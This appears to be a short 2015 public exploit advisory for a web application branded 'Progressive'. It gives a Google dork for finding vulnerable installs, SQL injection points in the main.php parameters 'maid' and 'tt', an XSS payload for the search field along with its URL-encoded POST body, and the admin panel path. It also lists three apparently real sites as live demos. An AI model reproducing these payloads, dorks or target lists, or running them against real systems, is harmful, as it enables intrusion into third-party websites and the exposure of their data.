Exploit Title: [Progressive SQL injection+XSS] # Google Dork: [intext:"Designed & Developed By: Progressive or inurl:"main.php?maid="] # Date: [31-7-2015] # Exploit Author: [R3NW4] # Platform: (WebApps) # Version: [the lower versions] # Tested on: [Linux(Debian)] # Greetz: MuhmadEmad - All Kurdish Hackers - Kurdistan - Peshmarga ----------------------- SQLi: site.com/main.php?maid=<SQL> site.com/main.php?tt=<SQL> ----------------------- XSS:(All Versions :) in search field: "'/>><img src=x onerror=alert(/XSS_HERE/)> or send POST request to /search.php with this data search=%22%27%2F%3E%3E%3Cimg+src%3Dx+onerror%3Dalert%28%2FXSS%2F%29%3E&image.x=0&image.y=0 ------------------------ admin panel: site.com/admin/index.php ------------------------ Demos: http://www.safeXtyinstyles.com/main.php?maid=141-0%27 http://lovemohXammad.com/main.php?maid=45-0%27 http://trendplXusbeauty.com/main.php?tt=1518%27 ------------------------- https://twitter.com/R3NW4